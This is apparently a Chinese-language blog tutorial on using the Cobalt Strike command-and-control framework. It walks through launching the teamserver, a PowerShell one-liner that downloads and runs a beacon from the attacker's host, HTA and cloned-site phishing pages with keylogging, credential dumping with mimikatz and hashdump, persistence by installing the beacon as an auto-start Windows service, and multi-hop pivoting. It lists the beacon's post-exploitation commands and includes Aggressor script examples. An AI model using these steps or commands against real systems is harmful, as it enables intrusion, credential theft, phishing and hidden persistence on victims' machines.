Cobalt-Strike使用

CS初始化

将CS的安装包解压到kali上,CS是通过Java写的,具有跨平台性,但是需要通过teamserver的启动器去启动,而不能直接jar启动

启动CS

# 进入文件后,修改权限
chmod 777 ./*

# 添加服务端的IP和密码,多人协作则是公网IP,端口默认在50050
./teamserver 192.168.223.131 123456

# 启动CS,需要保持teamserver一直启动
./cobaltstrike

image

基本Beacon操作

简单的进行渗透

1.新建Listeners

Cobalt Strike--->Listeners--->Add--->填入Name、Host、设置Payload类型--->save

2.payload设置

Attack--->Web Drive-by--->Scripted Web Delivery(s)--->选择Listener,类型和是否是64位的payload,获取payload

3.payload生效

选择powershell和64位,打开目标机,在其cmd或者powershell上输入payload

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.223.131:80/a'))"

一些选项

external-->外网IP
internal-->内网IP
listener-->监听者
user-->用户
computer-->计算机名
process-->执行程序的名字
pid-->执行程序的pid

与beacon(肉鸡)进行互动,系统命令前需要加shell,默认回连60s(心跳时间)
右键--->interact--->shell whoami

CS模块介绍

Cobalt Strike

New Connection-->打开新的connect窗口(新建一个连接)
Preferences-->首选项
Visualization-->将主机以不同形式展示(权限执行结果)
VPN Interfaces-->设置VPN接口(多重渗透)
Listeners-->创建监听器
Script Manager-->查看自己写的脚本并加载

image

View

applicationss-->被控电脑的应用信息
Credentials-->通过hash dump或者mimikatz获取的密码的保存位置
Downloads-->从被控电脑下载的文件保存位置
Event Log-->主机的上线记录
Keystrokes-->键盘记录
ProxyPivots-->代理模块
Screenshots-->截图
Script Console-->执行自己的脚本的控制台
Targets-->显示目标
Web Log-->显示web日志

image

Attack

Packages

HTML Application-->基于HTML应用的攻击载荷
MS Office Macro-->Office宏攻击
Payload Generator-->payload生成器,可以生成源码自己执行或修改
Windows Executable-->生成Windows上的32/64位exe或dll的后门程序
Windows Executable(S)-->生成Windows的可执行文件,包含完整的payload,不需要阶段性请求,多用于内网环境下设置,支持power shell脚本和代理

image

Web Drive-by

Manage-->管理器,对上线肉鸡进行管理
Clone Site-->克隆指定网站的样式
Host File-->将指定文件夹加载到web
Scripted Web Delivery(S)-->Web攻击模块
Signed Applet Attack-->钓鱼程序
Smart Applet Attack-->Java跨平台浏览器的攻击,可禁用Java的安全沙盒
System Profiler-->客户端检测工具

image

Spear Phish-->钓鱼模块

Reporting

配合Cobalt Strike生成的报告

image

Help

image

工具栏

image

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于

beacon功能

生成EXE程序,让目标执行即可

Attacks-->Packages-->Windwos Executable(S)

用户执行后,右键的选项为后渗透模块

# Interact--->打开互动界面(cmd),通过help可以查看beacon支持的命令
execute notepad--->后台运行记事本
powerpick mkdir 123--->不通过powershell执行命令
powershell-import ./xxx.ps1--->将powershell加载到内存,然后使用powershell加载执行powershell脚本

# Access
Dump Hashes--->获取密码的hash值
Elevate--->提权
Make Token--->模拟指定用户操作,制作令牌
Run Mimikatz--->使用猕猴桃获取密码(因系统而异)

# Explore
Brower Pivot--->劫持IE浏览器,在目标主机开代理,利用本机浏览器劫持目标Cookie实现免密登陆
Desktop(VNC)--->开启VNC窗口
File Browser--->显示文件层次
Net View-->查看内网中主机的共享域
Port Scan--->扫描端口
Process List--->查看当前进程信息,并进行操作(结束、刷新、键盘记录、注入进程……)
Screenshot--->截图

# Pivoting
SOCKS Server--->建立Socks代理(可以在View-->Proxy Pivots中查看),使用Tunnel中的命令可以在使用msf时将流量从此代理引入
Listener--->设置内网监听

# Spawn--->模块派发shell,在知道账号密码情况下可以将此shell派发给其他攻击者

# Session
Note--->添加备注
Remove--->从列表中移除(一般是Exit后Remove)
Sleep--->设置心跳时间
Exit--->目标离线

Interact中beacon的全部支持的命令

Command                   Description
 -------                   -----------
 browserpivot              注入受害者浏览器进程
 bypassuac                 绕过UAC
 cancel                    取消正在进行的下载
 cd                        切换目录
 checkin                   强制让被控端回连一次
 clear                     清除beacon内部的任务队列
 connect                   Connect to a Beacon peerover TCP
 covertvpn                 部署Covert VPN客户端
 cp                        复制文件
 dcsync                    从DC中提取密码哈希
 desktop                   远程VNC
 dllinject                 反射DLL注入进程
 dllload                   使用LoadLibrary将DLL加载到进程中
 download                  下载文件
 downloads                 列出正在进行的文件下载
 drives                    列出目标盘符
 elevate                   尝试提权
execute                   在目标上执行程序(无输出)
 execute-assembly          在目标上内存中执行本地.NET程序
 exit                      退出beacon
 **getprivs                  获取当前beacon中包含的所有权限,相当于shell whoami /priv**
 **getsystem                 尝试获取SYSTEM权限**
 **getuid                    获取当前用户是什么权限**
 hashdump                  转储密码哈希值
 help                      帮助
 inject                    在特定进程中生成会话
 jobkill                   杀死一个后台任务
 jobs                      列出后台任务
 kerberos_ccache_use       从ccache文件中导入票据应用于此会话
 kerberos_ticket_purge     清除当前会话的票据
 kerberos_ticket_use       从ticket文件中导入票据应用于此会话
 keylogger                 键盘记录
 kill                      结束进程
 link                      Connect to a Beacon peerover a named pipe
 logonpasswords            使用mimikatz转储凭据和哈希值
 ls                        列出文件
 make_token                创建令牌以传递凭据
 mimikatz                  运行mimikatz
 mkdir                     创建一个目录
 mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
 mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
 mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
 mode http                 使用HTTP作为通信通道
 mv                        移动文件
 net                       net命令
 note                      备注      
 portscan                  进行端口扫描
 powerpick                 通过Unmanaged PowerShell执行命令
 powershell                通过powershell.exe执行命令
 powershell-import         导入powershell脚本
 ppid                      Set parent PID forspawned post-ex jobs
 ps                        显示进程列表
 psexec                    Use a service to spawn asession on a host
 psexec_psh                Use PowerShell to spawn asession on a host
 psinject                  在特定进程中执行PowerShell命令
 pth                       使用Mimikatz进行传递哈希
 pwd                       当前目录位置
 reg                       Query the registry
 rev2self                  恢复原始令牌
 rm                        删除文件或文件夹
 rportfwd                  端口转发
 run                       在目标上执行程序(返回输出)
 runas                     以另一个用户权限执行程序
 runasadmin                在高权限下执行程序
 runu                      Execute a program underanother PID
 screenshot                屏幕截图
 setenv                    设置环境变量
 shell                     cmd执行命令
 shinject                  将shellcode注入进程
 shspawn                   生成进程并将shellcode注入其中
 **sleep                     设置睡眠延迟时间**
 socks                     启动SOCKS4代理
 socks stop                停止SOCKS4
 spawn                     Spawn a session
 spawnas                   Spawn a session as anotheruser
 spawnto                  Set executable tospawn processes into
 spawnu                    Spawn a session underanother PID
 ssh                       使用ssh连接远程主机
 ssh-key                   使用密钥连接远程主机
 steal_token               从进程中窃取令牌
 timestomp                 将一个文件时间戳应用到另一个文件
 unlink                    Disconnect from parentBeacon
 upload                    上传文件
 wdigest                   使用mimikatz转储明文凭据
 winrm                     使用WinRM在主机上生成会话
 wmi                       使用WMI在主机上生成会话
 argue                      进程参数欺骗

有关域的net命令

net localgroup-->添加、显示或更改本地组
net computer-->从域数据库中添加或删除计算机
net dclist-->查看域控
net domain_trusts-->查看域信任
net logons-->当前正在登陆的用户
net share-->查看共享

Windows权限:guest<user<administrator<system<TrustedInstaller

aggresor脚本

.cna 结尾,Aggressor Script,Sleep语言编写,通过sleep语言可以对Cobalt Strike进行二次开发

Sleep是一个可以嵌入到Java应用程序的脚本语言。Sleep简单,易学,易使用,易与程序结合。它的语言语法类似于Perl脚本。Sleep脚本可访问,创建,查询Java对象,解析过的脚本可被序列化

数据定义

# 解释器在 View-->Script Console中
$ = 定义变量
@ = 定义数组
% = 字典

e-->定义
x-->输出
load-->加载文件(CS中只能加载一次,在jar中可多次执行,通过它来执行程序查看结果)
reload-->重加载,加载的是已加载的cna文件,不带路径
ls-->查看加载的文件

# 下载sleep.jar并运行
java -jar sleep.jar

# 声明数组
@array = @('a1','a2',666);
println(@array[1]);

# 遍历
array = @('a1','a2',666);
foreach $var (@array){
	println($var);
}

# 字典全输出
$x = 1;
%dict["key1"] = "value1";
%dict["key2"] = "value2";
%dict[$x] = "value3";
println("%dict is ".%dict);
//dict is %(key1 => 'value1', key2 => 'value2', 1 => 'value3')

# 字典输出某一个值
$x = 1;
%dict["key1"] = "value1";
%dict["key2"] = "value2";
%dict[$x] = "value3";
println("dict is ".%dict);
//dict is value2

交互式函数

# 输出内容
println("haha nihao");

# 加载快速指令,command后面为快捷键
command w{
	println("You click w");
}
//reload后,按下w,将输出You click w

# 定义函数和快捷键,按下f1同时跟上一个参数会加载fun1函数并带上参数
sub fun1{
	println("run fun1!!!now $1");
}

command f1{
	fun1($1);
}
//f1 xiaoming--->run fun1!!!now xiaoming

c2客户端

在此编写的内容将直接影响Cobalt Strike界面和快捷键

# 绑定键盘快捷键
bind Ctrl+O{
	show_message("This is a alert");
	elog("I am log");
}
//按下Ctrl+O将会出现This is a alert,同时在Event Log里面出现I am log

# 编写最上面的菜单
popup menu1{
	item("&item1",{url_open("http://www.baidu.com")});
	separator();
	item("&item2",{url_open("http://www.cctv.com")});
}
menubar("My menu","menu1");
//在Cobalt Strike上面创建一个名为My menu的菜单,其中有两个按钮item1和item2,分别打开baidu和cctv,menubar是接收菜单的函数,item是其中的按钮

# 在beacon中创建菜单
popup beacon_bottom{
	menu "attack"{
		item("&item1",{url_open("http://www.baidu.com")});
		item("&item2",{show_message("yes")})
	}
}
//在右键的beacon中出现attack选项,有item1和item2两个按钮,分别打开百度和弹窗yes

可以上Github下载大佬的cna代码,load进去即可;或者下载后学习如何编写

c2中所有的数据模型

target       存储的目标信息               显示上线过的主机信息
archives     显示最近的信息               显示最近的输出信息
beacons      显示所有的受感染的主机信息    显示在线和上线过的主机
credentials  显示凭据信息                 我们抓取过的密码信息和制作的票据信息
downloads    显示下载信息                 显示我们在受控端下载的信息
keystrokes   记录键盘输入                 当我们选择进程记录键盘的时候,会将得到的键盘信息记录下来
screenshots  屏幕截图显示                 显示我们截图的二进制信息流
sites        托管的资产                   看起来是我们创建的监听的端口个Stager回连的端口

通过协同aggressor的结果写程序

# 显示目标的数据,其数据是@(%())的形式,即外面数组,包着字典
x targets()
# 单独索引想要的数据
x targets()[0]['name']
# 打印所有的监听器
printAll(listeners());
# 显示被感染主机更详细信息(挂马的信息)
x beacons()

# 通过showme快捷键查看第一个主机的IP和OS
command showme{
	println("IP address is: ".targets()[$1]["address"]."\n OS is: ".targets()[$1]["os"]);
}

HTML Application和clonesite

HTML Application

# 生成hta文件
Packages-->HTML Application,生成evil.hta,可以在网页上加载它

# 生成地址
Attacks-->Web Drive-by-->Host File,将Local URI也改成evil.hta
http://192.168.223.131:80/download/evil.hta
# 让目标访问此页面,会弹出文件操作,可以对其进行静默操作后台打开,可以上线

clonesite

# 克隆网站,如果在内网可以配合ARP,出现伪造网页
Attack-->Web Drive-by-->Clone Site,填入克隆网站为http://www.baidu.com,保存地址为bd,Attack选择evil,然后可以根据需要选择是否需要键盘记录
http://192.168.223.131:80/bd
# 目标点开假百度后弹出下载文件,后续同上

服务权限维持

控制对方后,文件保存在内存中,无法删除且重启消失,迟早被发现,要做持久化

1.生成exe文件

Attacks—>Packages—>Windows Executable(S)—>设置监听,Windows Service EXE,Use x64 payload

2.上传文件

在Beacon界面进入 C:\windows\temp 目录,上次木马 upload /root/beacon.exe

3.服务关联

shell sc create "thisserver" binpath=c:\windows\temp\beacon.exe 

前面是服务名后面是服务主程序路径

4.服务伪装

shell description "thisserver" "zhe shi fu wu"

前面是服务名后面是服务描述

5.设置服务自启动

shell sc config "thisserver" start=auto

6.服务启动

shell net start "thisserver"

多层连接

多层正向连接

黑客在外网的IP在内网中由于没有路由,无法进入内部服务器,需要通过外网的服务器作为中介找到内网服务器

hack(192.168.1.186)——(192.168.1.231)server1(172.16.214.140)——(172.16.214.141)server2

1.设置监听器

在原有控制的监听器基础上——Add——Beacon TCP,取名server1

2.在server1的监听上生成木马文件

Attacks—>Packages—>Windows Executable(S)——>选择server1监听,Windows Service EXE,Use x64 payload,生成木马

3.正向连接

让内网目标执行,使用server1作为中间人正向连接

connect 172.16.214.141

多层反向连接

反向连接规避防火墙,防火墙会进行追杀

1.设置监听器

对中间人右键—>Pivoting—>Listener,取名server1,中间人的server1可以作为黑客的转发器

2.生成木马文件

Attacks—>Packages—>Windows Executable(S)—>选择server1监听,Windows Service EXE,Use x64 payload,生成木马

3.发送到目标主机即可反向连接

posted @ 2022-03-25 19:55  icui4cu  阅读(1175)  评论(0编辑  收藏  举报